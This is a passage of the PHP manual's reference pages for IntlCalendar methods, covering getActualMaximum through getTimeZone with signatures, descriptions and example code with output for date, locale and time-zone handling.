    44
13 (FIELD_SECOND)
    44
14 (FIELD_MILLISECOND)
    551
15 (FIELD_ZONE_OFFSET)
    0
16 (FIELD_DST_OFFSET)
    3600000
17 (FIELD_YEAR_WOY)
    2013
18 (FIELD_DOW_LOCAL)
    2
19 (FIELD_EXTENDED_YEAR)
    2013
20 (FIELD_JULIAN_DAY)
    2456475
21 (FIELD_MILLISECONDS_IN_DAY)
    17084551
22 (FIELD_IS_LEAP_MONTH)
    0

User Contributed Notes

There are no user contributed notes for this page.


The maximum value for a field, considering the objectʼs current time

  • « IntlCalendar::get
  • IntlCalendar::getActualMinimum »
  • PHP Manual
  • IntlCalendar
  • The maximum value for a field, considering the objectʼs current time

IntlCalendar::getActualMaximum

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getActualMaximum — The maximum value for a field, considering the objectʼs current time

Description

Object oriented style

public int IntlCalendar::getActualMaximum ( int $field )

Procedural style

int intlcal_get_actual_maximum ( IntlCalendar $cal , int $field )

Returns a fieldʼs relative maximum value around the current time. The exact semantics vary by field, but in the general case this is the value that would be obtained if one would set the field value into the smallest relative maximum for the field and would increment it until reaching the global maximum or the field value wraps around, in which the value returned would be the global maximum or the value before the wrapping, respectively.

For instance, in the gregorian calendar, the actual maximum value for the day of month would vary between 28 and 31, depending on the month and year of the current time.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

An int representing the maximum value in the units associated with the given field or FALSE on failure.

Examples

Example #1 IntlCalendar::getActualMaximum()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = IntlCalendar::fromDateTime('2013-02-15');
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //28

$cal->add(IntlCalendar::FIELD_EXTENDED_YEAR, -1);
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //29

The above example will output:

int(28)
int(29)

See Also

  • IntlCalendar::getMaximum() - Get the global maximum value for a field
  • IntlCalendar::getLeastMaximum() - Get the smallest local maximum for a field
  • IntlCalendar::getActualMinimum() - The minimum value for a field, considering the objectʼs current time

User Contributed Notes

There are no user contributed notes for this page.


The minimum value for a field, considering the objectʼs current time

  • « IntlCalendar::getActualMaximum
  • IntlCalendar::getAvailableLocales »
  • PHP Manual
  • IntlCalendar
  • The minimum value for a field, considering the objectʼs current time

IntlCalendar::getActualMinimum

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getActualMinimum — The minimum value for a field, considering the objectʼs current time

Description

Object oriented style

public int IntlCalendar::getActualMinimum ( int $field )

Procedural style

int intlcal_get_actual_minimum ( IntlCalendar $cal , int $field )

Returns a fieldʼs relative minimum value around the current time. The exact semantics vary by field, but in the general case this is the value that would be obtained if one would set the field value into the greatest relative minimum for the field and would decrement it until reaching the global minimum or the field value wraps around, in which the value returned would be the global minimum or the value before the wrapping, respectively.

For the Gregorian calendar, this is always the same as IntlCalendar::getMinimum().

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

An int representing the minimum value in the fieldʼs unit or FALSE on failure.

See Also

  • IntlCalendar::getMinimum() - Get the global minimum value for a field
  • IntlCalendar::getGreatestMinimum() - Get the largest local minimum value for a field
  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the objectʼs current time

User Contributed Notes

There are no user contributed notes for this page.


Get array of locales for which there is data

  • « IntlCalendar::getActualMinimum
  • IntlCalendar::getDayOfWeekType »
  • PHP Manual
  • IntlCalendar
  • Get array of locales for which there is data

IntlCalendar::getAvailableLocales

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getAvailableLocales — Get array of locales for which there is data

Description

Object oriented style

public static array IntlCalendar::getAvailableLocales ( void )

Procedural style

array intlcal_get_available_locales ( void )

Gives the list of locales for which calendars are installed. As of ICU 51, this is the list of all installed ICU locales.

Parameters

This function has no parameters.

Return Values

An array of strings, one for which locale.

Examples

Example #1 IntlCalendar::getAvailableLocales()()

<?php
print_r(IntlCalendar::getAvailableLocales());

The above example will output:

Array
(
    [0] => af
    [1] => af_NA
    [2] => af_ZA
    [3] => agq
    [4] => agq_CM
    [5] => ak
    [6] => ak_GH
    [7] => am
    [8] => am_ET
    [9] => ar
    [10] => ar_001
    [11] => ar_AE
    [12] => ar_BH
    [13] => ar_DJ
    … output abbreviated …
    [595] => zh_Hant_HK
    [596] => zh_Hant_MO
    [597] => zh_Hant_TW
    [598] => zu
    [599] => zu_ZA
)

User Contributed Notes

There are no user contributed notes for this page.


Tell whether a day is a weekday, weekend or a day that has a transition between the two

  • « IntlCalendar::getAvailableLocales
  • IntlCalendar::getErrorCode »
  • PHP Manual
  • IntlCalendar
  • Tell whether a day is a weekday, weekend or a day that has a transition between the two

IntlCalendar::getDayOfWeekType

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two

Description

Object oriented style

public int IntlCalendar::getDayOfWeekType ( int $dayOfWeek )

Procedural style

int intlcal_get_day_of_week_type ( IntlCalendar $cal , int $dayOfWeek )

Returns whether the passed day is a weekday (IntlCalendar::DOW_TYPE_WEEKDAY), a weekend day (IntlCalendar::DOW_TYPE_WEEKEND), a day during which a transition occurs into the weekend (IntlCalendar::DOW_TYPE_WEEKEND_OFFSET) or a day during which the weekend ceases (IntlCalendar::DOW_TYPE_WEEKEND_CEASE).

If the return is either
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE, then
IntlCalendar::getWeekendTransition() can be called to
obtain the time of the transition.

This function requires ICU 4.4 or later.

Parameters

cal

The IntlCalendar resource.

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, …,
IntlCalendar::DOW_SATURDAY.

Return Values

Returns one of the constants
IntlCalendar::DOW_TYPE_WEEKDAY,
IntlCalendar::DOW_TYPE_WEEKEND,
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE or FALSE on failure.

Examples

Example #1 IntlCalendar::getDayOfWeekType()

<?php

foreach (array('en_US', 'ar_SA') as $locale) {
    echo "Locale: ", Locale::getDisplayName($locale, "en_US"), "\n";

    $cal = IntlCalendar::createInstance('UTC', $locale);

    for ($i = IntlCalendar::DOW_SUNDAY; $i <= IntlCalendar::DOW_SATURDAY; $i++) {
        echo $i, " ", $cal->getDayOfWeekType($i), " ",
                $cal->getDayOfWeekType($i) >= IntlCalendar::DOW_TYPE_WEEKEND_OFFSET
                        ? $cal->getWeekendTransition($i)
                        : '',
                "\n";
    }
    echo "\n";
}

The above example will output:

Locale: English (United States)
1 3 86400000
2 0
3 0
4 0
5 0
6 0
7 1

Locale: Arabic (Saudi Arabia)
1 0
2 0
3 0
4 0
5 1
6 3 86400000
7 0

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • « IntlCalendar::getDayOfWeekType
  • IntlCalendar::getErrorMessage »
  • PHP Manual
  • IntlCalendar
  • Get last error code on the object

IntlCalendar::getErrorCode

intlcal_get_error_code

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getErrorCode -- intlcal_get_error_code — Get last error code on the object

Description

Object oriented style (method):

public int IntlCalendar::getErrorCode ( void )

Procedural style:

int intlcal_get_error_code ( IntlCalendar $calendar )

Returns the numeric ICU error code for the last call on this object (including cloning) or the IntlCalendar given for the calendar parameter (in the procedural‒style version). This may indicate only a warning (negative error code) or no error at all (U_ZERO_ERROR). The actual presence of an error can be tested with intl_is_failure().

Invalid arguments detected on the PHP side (before invoking functions of the ICU library) are not recorded for the purposes of this function.

The last error that occurred in any call to a function of the intl extension, including early argument errors, can be obtained with intl_get_error_code(). This function resets the global error code, but not the objectʼs error code.

Parameters

calendar

The calendar object, on the procedural style interface.

Return Values

An ICU error code indicating either success, failure or a warning.

Examples

Example #1 IntlCalendar::getErrorCode() and IntlCalendar::getErrorMessage()

<?php
ini_set("intl.error_level", E_WARNING);
ini_set("intl.default_locale", "nl");

$intlcal = new IntlGregorianCalendar(2012, 1, 29);
var_dump(
    $intlcal->getErrorCode(),
    $intlcal->getErrorMessage()
);
$intlcal->fieldDifference(-1e100, IntlCalendar::FIELD_SECOND);

var_dump(
    $intlcal->getErrorCode(),
    $intlcal->getErrorMessage()
);

The above example will output:

int(0)
string(12) "U_ZERO_ERROR"

Warning: IntlCalendar::fieldDifference(): intlcal_field_difference: Call to ICU method has failed in /home/glopes/php/ws/example.php on line 10
int(1)
string(81) "intlcal_field_difference: Call to ICU method has failed: U_ILLEGAL_ARGUMENT_ERROR"

See Also

  • IntlCalendar::getErrorMessage() - Get last error message on the object
  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_code() - Get the last error code
  • intl_get_error_message() - Get description of the last error

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • « IntlCalendar::getErrorCode
  • IntlCalendar::getFirstDayOfWeek »
  • PHP Manual
  • IntlCalendar
  • Get last error message on the object

IntlCalendar::getErrorMessage

intlcal_get_error_message

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getErrorMessage -- intlcal_get_error_message — Get last error message on the object

Description

Object oriented style (method):

public string IntlCalendar::getErrorMessage ( void )

Procedural style:

string intlcal_get_error_message ( IntlCalendar $calendar )

Returns the error message (if any) associated with the error reported by IntlCalendar::getErrorCode() or intlcal_get_error_code(). If there is no associated error message, only the string representation of the name of the error constant will be returned. Otherwise, the message also includes a message set on the side of the PHP binding.

Parameters

calendar

The calendar object, on the procedural style interface.

Return Values

The error message associated with last error that occurred in a function call on this object, or a string indicating the non-existance of an error.

Examples

Example #1 IntlCalendar::getErrorMessage()

<?php
$cal = IntlCalendar::createInstance('UTC', 'en_US');
var_dump($cal->getErrorMessage());

$cal->getWeekendTransition(IntlCalendar::DOW_WEDNESDAY);
var_dump($cal->getErrorMessage());

The above example will output:

string(12) "U_ZERO_ERROR"
string(82) "intlcal_get_weekend_transition: Error calling ICU method: U_ILLEGAL_ARGUMENT_ERROR"

User Contributed Notes

There are no user contributed notes for this page.


Get the first day of the week for the calendarʼs locale

  • « IntlCalendar::getErrorMessage
  • IntlCalendar::getGreatestMinimum »
  • PHP Manual
  • IntlCalendar
  • Get the first day of the week for the calendarʼs locale

IntlCalendar::getFirstDayOfWeek

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendarʼs locale

Description

Object oriented style

public int IntlCalendar::getFirstDayOfWeek ( void )

Procedural style

int intlcal_get_first_day_of_week ( IntlCalendar $cal )

The week day deemed to start a week, either the default value for this locale or the value set with IntlCalendar::setFirstDayOfWeek().

Parameters

cal

The IntlCalendar resource.

Return Values

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, …,
IntlCalendar::DOW_SATURDAY or FALSE on failure.

Examples

Example #1 IntlCalendar::getFirstDayOfWeek()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
var_dump($cal1->getFirstDayOfWeek()); // Monday
$cal1->set(2013, 1 /* February */, 3); // a Sunday
var_dump($cal1->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 5

$cal2 = IntlCalendar::createInstance(NULL, 'en_US');
var_dump($cal2->getFirstDayOfWeek()); // Sunday
$cal2->set(2013, 1 /* February */, 3); // a Sunday
var_dump($cal2->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 6

The above example will output:

int(2)
int(5)
int(1)
int(6)

See Also

  • IntlCalendar::setFirstDayOfWeek() - Set the day on which the week is deemed to start

User Contributed Notes

There are no user contributed notes for this page.


Get the largest local minimum value for a field

  • « IntlCalendar::getFirstDayOfWeek
  • IntlCalendar::getKeywordValuesForLocale »
  • PHP Manual
  • IntlCalendar
  • Get the largest local minimum value for a field

IntlCalendar::getGreatestMinimum

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field

Description

Object oriented style

public int IntlCalendar::getGreatestMinimum ( int $field )

Procedural style

int intlcal_get_greatest_minimum ( IntlCalendar $cal , int $field )

Returns the largest local minimum for a field. This should be a value larger or equal to that returned by IntlCalendar::getActualMinimum(), which is in its turn larger or equal to that returned by IntlCalendar::getMinimum(). All these three functions return the same value for the Gregorian calendar.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

An int representing a field value, in the fieldʼs unit, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get set of locale keyword values

  • « IntlCalendar::getGreatestMinimum
  • IntlCalendar::getLeastMaximum »
  • PHP Manual
  • IntlCalendar
  • Get set of locale keyword values

IntlCalendar::getKeywordValuesForLocale

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values

Description

Object oriented style

public static Iterator IntlCalendar::getKeywordValuesForLocale ( string $key , string $locale , boolean $commonlyUsed )

Procedural style

Iterator intlcal_get_keyword_values_for_locale ( string $key , string $locale , boolean $commonlyUsed )

For a given locale key, get the set of values for that key that would result in a different behavior. For now, only the 'calendar' keyword is supported.

This function requires ICU 4.2 or later.

Parameters

key

The locale keyword for which relevant values are to be queried. Only 'calendar' is supported.

locale

The locale onto which the keyword/value pair are to be appended.

commonlyUsed

Whether to show only the values commonly used for the specified locale.

Return Values

An iterator that yields strings with the locale keyword values or FALSE on failure.

Examples

Example #1 IntlCalendar::getKeyworkValuesForLocale()

<?php
print_r(
        iterator_to_array(
                IntlCalendar::getKeywordValuesForLocale(
                        'calendar', 'fa_IR', true)));
print_r(
        iterator_to_array(
                IntlCalendar::getKeywordValuesForLocale(
                        'calendar', 'fa_IR', false)));

The above example will output:

Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
)
Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
    [4] => japanese
    [5] => buddhist
    [6] => roc
    [7] => hebrew
    [8] => chinese
    [9] => indian
    [10] => coptic
    [11] => ethiopic
    [12] => ethiopic-amete-alem
)

User Contributed Notes

There are no user contributed notes for this page.


Get the smallest local maximum for a field

  • « IntlCalendar::getKeywordValuesForLocale
  • IntlCalendar::getLocale »
  • PHP Manual
  • IntlCalendar
  • Get the smallest local maximum for a field

IntlCalendar::getLeastMaximum

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field

Description

Object oriented style

public int IntlCalendar::getLeastMaximum ( int $field )

Procedural style

int intlcal_get_least_maximum ( IntlCalendar $cal , int $field )

Returns the smallest local maximumw for a field. This should be a value smaller or equal to that returned by IntlCalendar::getActualMaxmimum(), which is in its turn smaller or equal to that returned by IntlCalendar::getMaximum().

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

An int representing a field value in the fieldʼs unit or FALSE on failure.

Examples

Example #1 Maxima examples

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'it_IT');

$cal = new IntlGregorianCalendar(2013, 3 /* April */, 6);
var_dump(
    $cal->getLeastMaximum(IntlCalendar::FIELD_DAY_OF_MONTH),  // 28
    $cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH), // 30
    $cal->getMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)        // 31
);

The above example will output:

int(28)
int(30)
int(31)

See Also

  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the objectʼs current time
  • IntlCalendar::getMaximum() - Get the global maximum value for a field
  • IntlCalendar::getGreatestMinimum() - Get the largest local minimum value for a field

User Contributed Notes

There are no user contributed notes for this page.


Get the locale associated with the object

  • « IntlCalendar::getLeastMaximum
  • IntlCalendar::getMaximum »
  • PHP Manual
  • IntlCalendar
  • Get the locale associated with the object

IntlCalendar::getLocale

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getLocale — Get the locale associated with the object

Description

Object oriented style

public string IntlCalendar::getLocale ( int $localeType )

Procedural style

string intlcal_get_locale ( IntlCalendar $cal , int $localeType )

Returns the locale used by this calendar object.

Parameters

cal

The IntlCalendar resource.

localeType

Whether to fetch the actual locale (the locale from which the calendar data originates, with Locale::ACTUAL_LOCALE) or the valid locale, i.e., the most specific locale supported by ICU relatively to the requested locale – see Locale::VALID_LOCALE. From the most general to the most specific, the locales are ordered in this fashion – actual locale, valid locale, requested locale.

Return Values

A locale string or FALSE on failure.

Examples

Example #1 IntlCalendar::getLocale()

<?php
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT(), 'en_US_CALIFORNIA');
var_dump(
    $cal->getLocale(Locale::ACTUAL_LOCALE),
    $cal->getLocale(Locale::VALID_LOCALE)
);

The above example will output:

string(2) "en"
string(5) "en_US"

User Contributed Notes

There are no user contributed notes for this page.


Get the global maximum value for a field

  • « IntlCalendar::getLocale
  • IntlCalendar::getMinimalDaysInFirstWeek »
  • PHP Manual
  • IntlCalendar
  • Get the global maximum value for a field

IntlCalendar::getMaximum

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getMaximum — Get the global maximum value for a field

Description

Object oriented style

public int IntlCalendar::getMaximum ( int $field )

Procedural style

int intlcal_get_maximum ( IntlCalendar $cal , int $field )

Gets the global maximum for a field, in this specific calendar. This value is larger or equal to that returned by IntlCalendar::getActualMaximum(), which is in its turn larger or equal to that returned by IntlCalendar::getLeastMaximum().

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

An int representing a field value in the fieldʼs unit or FALSE on failure.

See Also

  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the objectʼs current time
  • IntlCalendar::getLeastMaximum() - Get the smallest local maximum for a field
  • IntlCalendar::getMinimum() - Get the global minimum value for a field

User Contributed Notes

There are no user contributed notes for this page.


Get minimal number of days the first week in a year or month can have

  • « IntlCalendar::getMaximum
  • IntlCalendar::getMinimum »
  • PHP Manual
  • IntlCalendar
  • Get minimal number of days the first week in a year or month can have

IntlCalendar::getMinimalDaysInFirstWeek

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have

Description

Object oriented style

public int IntlCalendar::getMinimalDaysInFirstWeek ( void )

Procedural style

int intlcal_get_minimal_days_in_first_week ( IntlCalendar $cal )

Returns the smallest number of days the first week of a year or month must have in the new year or month. For instance, in the Gregorian calendar, if this value is 1, then the first week of the year will necessarily include January 1st, while if this value is 7, then the week with January 1st will be the first week of the year only if the day of the week for January 1st matches the day of the week returned by IntlCalendar::getFirstDayOfWeek(); otherwise it will be the previous yearʼs last week.

Parameters

cal

The IntlCalendar resource.

Return Values

An int representing a number of days or FALSE on failure.

Examples

Example #1 IntlCalendar::getMinimalDaysInFirstWeek()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 0 /* January */, 2);
var_dump(IntlDateFormatter::formatObject($cal, 'cccc')); // Wednesday

var_dump($cal->getMinimalDaysInFirstWeek(), // 1
$cal->getFirstDayofWeek()); // 1 (Sunday)

// Week 1 of 2013
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(4);
// Still Week 1 of 2013 (1st week has 5 days in the new year)
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(6);
// Week 53 of 2012
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

The above example will output:

string(9) "Wednesday"
int(1)
int(1)
string(14) "Week 1 of 2013"
string(14) "Week 1 of 2013"
string(15) "Week 53 of 2012"

User Contributed Notes

There are no user contributed notes for this page.


Get the global minimum value for a field

  • « IntlCalendar::getMinimalDaysInFirstWeek
  • IntlCalendar::getNow »
  • PHP Manual
  • IntlCalendar
  • Get the global minimum value for a field

IntlCalendar::getMinimum

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getMinimum — Get the global minimum value for a field

Description

Object oriented style

public int IntlCalendar::getMinimum ( int $field )

Procedural style

int intlcal_get_minimum ( IntlCalendar $cal , int $field )

Gets the global minimum for a field, in this specific calendar. This value is smaller or equal to that returned by IntlCalendar::getActualMinimum(), which is in its turn smaller or equal to that returned by IntlCalendar::getGreatestMinimum(). For the Gregorian calendar, these three functions always return the same value (for each field).

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

An int representing a value for the given field in the fieldʼs unit or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Get number representing the current time

  • « IntlCalendar::getMinimum
  • IntlCalendar::getRepeatedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Get number representing the current time

IntlCalendar::getNow

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getNow — Get number representing the current time

Description

Object oriented style

public static float IntlCalendar::getNow ( void )

Procedural style

float intlcal_get_now ( void )

The number of milliseconds that have passed since the reference date. This number is derived from the system time.

Parameters

This function has no parameters.

Return Values

A float representing a number of milliseconds since the epoch, not counting leap seconds.

Examples

Example #1 IntlCalendar::getNow()

<?php
$formatter = IntlDateFormatter::create('es_ES',
        IntlDateFormatter::FULL,
        IntlDateFormatter::FULL,
        'Europe/Madrid');

$val = IntlCalendar::getNow();

var_dump($val);
echo $formatter->format(IntlCalendar::getNow() / 1000.), "\n";

The above example will output:

float(1371425814666)
lunes, 17 de junio de 2013 01:36:54 Hora de verano de Europa central

User Contributed Notes

There are no user contributed notes for this page.


Get behavior for handling repeating wall time

  • « IntlCalendar::getNow
  • IntlCalendar::getSkippedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Get behavior for handling repeating wall time

IntlCalendar::getRepeatedWallTimeOption

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time

Description

Object oriented style

public int IntlCalendar::getRepeatedWallTimeOption ( void )

Procedural style

int intlcal_get_repeated_wall_time_option ( IntlCalendar $cal )

Gets the current strategy for dealing with wall times that are repeated whenever the clock is set back during dailight saving time end transitions. The default value is IntlCalendar::WALLTIME_LAST.

This function requires ICU 4.9 or later.

Parameters

cal

The IntlCalendar resource.

Return Values

One of the constants IntlCalendar::WALLTIME_FIRST or IntlCalendar::WALLTIME_LAST.

Examples

Example #1 IntlCalendar::getRepeatedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

//On October 27th at 0200, the clock goes back 1 hour and from GMT+01 to GMT+00
$cal = new IntlGregorianCalendar(2013, 9 /* October */, 27, 1, 30);

var_dump($cal->getRepeatedWalltimeOption()); // 0 WALLTIME_LAST

$formatter = IntlDateFormatter::create(
    NULL,
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000.));

$cal->setRepeatedWalltimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getRepeatedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000.));

The above example will output:

int(0)
string(42) "Sunday, October 27, 2013 at 1:30:00 AM GMT"
int(1)
string(43) "Sunday, October 27, 2013 at 12:30:00 AM GMT"

See Also

  • IntlCalendar::getSkippedWallTimeOption() - Get behavior for handling skipped wall time
  • IntlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions

User Contributed Notes

There are no user contributed notes for this page.


Get behavior for handling skipped wall time

  • « IntlCalendar::getRepeatedWallTimeOption
  • IntlCalendar::getTime »
  • PHP Manual
  • IntlCalendar
  • Get behavior for handling skipped wall time

IntlCalendar::getSkippedWallTimeOption

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time

Description

Object oriented style

public int IntlCalendar::getSkippedWallTimeOption ( void )

Procedural style

int intlcal_get_skipped_wall_time_option ( IntlCalendar $cal )

Gets the current strategy for dealing with wall times that are skipped whenever the clock is forwarded during dailight saving time start transitions. The default value is IntlCalendar::WALLTIME_LAST.

The calendar must be lenient for this option to have any effect, otherwise attempting to set a non-existing time will cause an error.

This function requires ICU 4.9 or later.

Parameters

cal

The IntlCalendar resource.

Return Values

One of the constants IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST or
IntlCalendar::WALLTIME_NEXT_VALID.

Examples

Example #1 IntlCalendar::getSkippedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

//On March 31st at 0100, the clock goes forward 1 hour and from GMT+00 to GMT+01
$cal = new IntlGregorianCalendar(2013, 2 /* March */, 31, 1, 30);

var_dump(
    $cal->isLenient(),               // true
    $cal->getSkippedWalltimeOption() // 0 WALLTIME_LAST
);

$formatter = IntlDateFormatter::create(
    NULL,
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getSkippedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_NEXT_VALID);
var_dump($cal->getSkippedWalltimeOption()); // 2 WALLTIME_NEXT_VALID
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

The above example will output:

bool(true)
int(0)
string(40) "Sunday, March 31, 2013 at 1:30:00 AM GMT"
int(1)
string(41) "Sunday, March 31, 2013 at 12:30:00 AM GMT"
int(2)
string(40) "Sunday, March 31, 2013 at 1:00:00 AM GMT"

See Also

  • IntlCalendar::getRepeatedWallTimeOption() - Get behavior for handling repeating wall time
  • IntlCalendar::setSkippedWallTimeOption() - Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setRepeatedWallTimeOption() - Set behavior for handling repeating wall times at negative timezone offset transitions

User Contributed Notes

There are no user contributed notes for this page.


Get time currently represented by the object

  • « IntlCalendar::getSkippedWallTimeOption
  • IntlCalendar::getTimeZone »
  • PHP Manual
  • IntlCalendar
  • Get time currently represented by the object

IntlCalendar::getTime

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getTime — Get time currently represented by the object

Description

Object oriented style

public float IntlCalendar::getTime ( void )

Procedural style

float intlcal_get_time ( IntlCalendar $cal )

Returns the time associated with this object, expressed as the number of milliseconds since the epoch.

Parameters

cal

The IntlCalendar resource.

Return Values

A float representing the number of milliseconds elapsed since the reference time (1 Jan 1970 00:00:00 UTC).

Examples

Example #1 IntlCalendar::getTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 4 /* May */, 1, 0, 0, 0);
$time = $cal->getTime();
var_dump($time, $time / 1000 == strtotime('2013-05-01 00:00:00')); //true

The above example will output:

float(1367362800000)
bool(true)

See Also

  • IntlCalendar::getNow() - Get number representing the current time

User Contributed Notes

There are no user contributed notes for this page.


Get the objectʼs timezone

  • « IntlCalendar::getTime
  • IntlCalendar::getType »
  • PHP Manual
  • IntlCalendar
  • Get the objectʼs timezone

IntlCalendar::getTimeZone

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::getTimeZone — Get the objectʼs timezone

Description

Object oriented style

public IntlTimeZone IntlCalendar::getTimeZone ( void )

Procedural style

IntlTimeZone intlcal_get_time_zone ( IntlCalendar $cal )

Returns the IntlTimeZone object associated with this calendar.

Parameters

cal

The IntlCalendar resource.

Return Values

An IntlTimeZone object corresponding to the one used internally in this object.

Examples

Example #1 IntlCalendar::getTimeZone()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$cal = IntlCalendar::createInstance();
print_r($cal->getTimeZone());

$cal->setTimeZone('UTC');
print_r($cal->getTimeZone());

$cal = IntlCalendar::fromDateTime('2012-01-01 00:00:00 GMT+03:33');
print_r($cal->getTimeZone());

The above example will output:

IntlTimeZone Object
(
    [valid] => 1
    [id] => Europe/Lisbon
    [rawOffset] => 0
    [currentOffset] => 3600000
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => UTC
    [rawOffset] => 0
    [currentOffset] => 0
)
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+03:33
    [rawOffset] => 12780000
    [currentOffset] => 12780000
)

See Also

  • IntlCalendar::setTimeZone() - Set the timezone used by this calendar
  • IntlCalendar::createInstance() - Create a new IntlCalendar
  • IntlGregorianCalendar::__construct()

User Contributed Notes

There are no user contributed notes for this page.


Get the calendar type

  • « IntlCalendar::getTimeZone
  • IntlCalendar::getWeekendTransition »
  • PHP Manual
  • IntlCalendar
  • Get the calendar type

IntlCalendar::getType

